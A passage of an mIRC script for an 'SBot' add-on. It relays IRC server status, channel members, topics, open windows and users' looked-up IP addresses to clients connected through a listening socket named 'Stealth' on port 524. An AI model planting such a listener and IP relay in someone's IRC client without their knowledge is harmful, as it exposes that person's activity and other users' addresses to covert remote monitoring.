n433=raw 1:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n434=raw 2:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n435=raw 3:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n436=raw 4:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n437=raw 251:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n438=raw 252:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n439=raw 253:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n440=raw 254:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n441=raw 255:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n442=raw 265:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n443=raw 266:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n444=raw 372:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $2- }
n445=raw 375:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW Status $4-7 }
n446=raw 376:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n447=
n448=;----------------------------------------------------- SERVER ERRORS -------------------------------------------------------
n449=raw 401:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n450=raw 403:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n451=raw 404:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n452=raw 405:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n453=raw 421:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n454=raw 431:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n455=raw 432:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n456=raw 433:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n457=raw 441:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n458=raw 442:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n459=raw 443:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n460=raw 465:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n461=raw 467:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n462=raw 471:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's full) }
n463=raw 472:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n464=raw 473:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's invite only) }
n465=raw 474:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (you're banned!) }
n466=raw 475:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (requires the correct key) }
n467=raw 477:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (need to be using a registered nick) } 
n468=raw 482:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n469=raw 501:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n470=raw 502:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n471=
n472=;------------------------------------------------ OTHER ---------------------------------------------
n473=#NickIP off
n474=raw 302:*: {
n475=  if ( $sock(SBot-*) != $null ) {
n476=    if ( $gettok( $2 ,1,61) == %SBot.getnick ) { .sockwrite -n SBot-* NICKIP $gettok( $2 ,1,61) $gettok($2,2,64) 524 | unset %SBot.getnick | .disable #NickIP | halt } 
n477=  }
n478=  halt
n479=}
n480=#NickIP end
n481=
n482=raw 329:*: if ( $sock(SBot-*) != $null ) { showinstat $2 created on $asctime( $3 ) }
n483=raw 341:*: if ( $sock(SBot-*) != $null ) { showinstat $2 has been invited to $3 }
n484=raw 381:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n485=
n486=alias chanstat {
n487=  unset %SBot.i %SBot.ops %SBot.voice %SBot.reg
n488=  %SBot.temp = $nick( $1 ,0)
n489=  :start
n490=  inc %SBot.i
n491=  if ( %SBot.i <= %SBot.temp ) {
n492=    if ( $nick( $1 , %SBot.i ) isop $1 ) {
n493=      if ( %SBot.ops == $null ) { %SBot.ops = $nick( $1 , %SBot.i ) }
n494=      else {  %SBot.ops = %SBot.ops $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n495=    }
n496=    elseif ( $nick( $1 , %SBot.i ) isvo $1 ) {
n497=      if ( %SBot.voice == $null )  { %SBot.voice = $nick( $1 , %SBot.i ) }
n498=      else { %SBot.voice = %SBot.voice $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n499=    }
n500=    else {
n501=      if ( %SBot.reg == $null ) { %SBot.reg = $nick( $1 , %SBot.i ) }
n502=      else {  %SBot.reg = %SBot.reg $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n503=    }
n504=    goto start
n505=  }
n506=  %SBot.modes = $chan( $1 ).mode
n507=  %SBot.topic = $chan( $1 ).topic
n508=  if ( %SBot.ops == $null ) { %SBot.ops = $chr(149) }
n509=  if ( %SBot.voice == $null ) { %SBot.voice = $chr(149) }
n510=  if ( %SBot.reg == $null ) { %SBot.reg = $chr(149) }
n511=  if ( %SBot.modes == $null ) { %SBot.modes = $chr(149) }
n512=  if ( %SBot.topic == $null ) { %SBot.topic = $chr(149) }
n513=  .sockwrite -n SBot-* CHAN START $1 %SBot.ops $+ $chr(140) $+ %SBot.voice $+ $chr(140) $+ %SBot.reg $+ $chr(140) $+ %SBot.modes $+ $chr(140) $+ $colour(Topic) $colour(Info2) %SBot.topic
n514=  unset %SBot.ops %SBot.voice %SBot.reg %SBot.i %SBot.modes %SBot.topic
n515=  halt
n516=}
n517=
n518=alias winstat {
n519=  unset %SBot.wins.i %SBot.wins.temp
n520=  :loop
n521=  inc %SBot.wins.i
n522=  if ( %SBot.wins.i <= $chan(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chan( %SBot.wins.i ) $+ $chr(44) | goto loop }
n523=  %SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
n524=  unset %SBot.wins.i 
n525=  :loop2
n526=  inc %SBot.wins.i
n527=  if ( %SBot.wins.i <= $query(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $query( %SBot.wins.i ) $+ $chr(44) | goto loop2 }
n528=  %SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
n529=  unset %SBot.wins.i 
n530=  :loop3
n531=  inc %SBot.wins.i
n532=  if ( %SBot.wins.i <= $chat(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chat( %SBot.wins.i ) $+ $chr(44) | goto loop3 }
n533=  .sockwrite -n SBot-* WINSTATS %SBot.wins.temp
n534=  unset %SBot.wins.*
n535=}
n536=
n537=alias showinstat { 
n538=  .sockwrite -n SBot-* SHOW Status $1-
n539=  .sockwrite -n SBot-* SHOW Status -
n540=}
n541=
n542=alias bground {
n543=  if ( [ $readini $mircdirmirc.ini background $1 ] != $null ) {
n544=    if ($chr(58) !isin [ $readini $mircdirmirc.ini background $1 ] ) { return [ $mircdir $+ [ $readini $mircdirmirc.ini background $1 ] ] }
n545=    else { return [ $readini $mircdirmirc.ini background $1 ] }
n546=  }
n547=  else { return none }
n548=}
n549=alias listen if ( $portfree(524) ) { .socklisten Stealth 524 }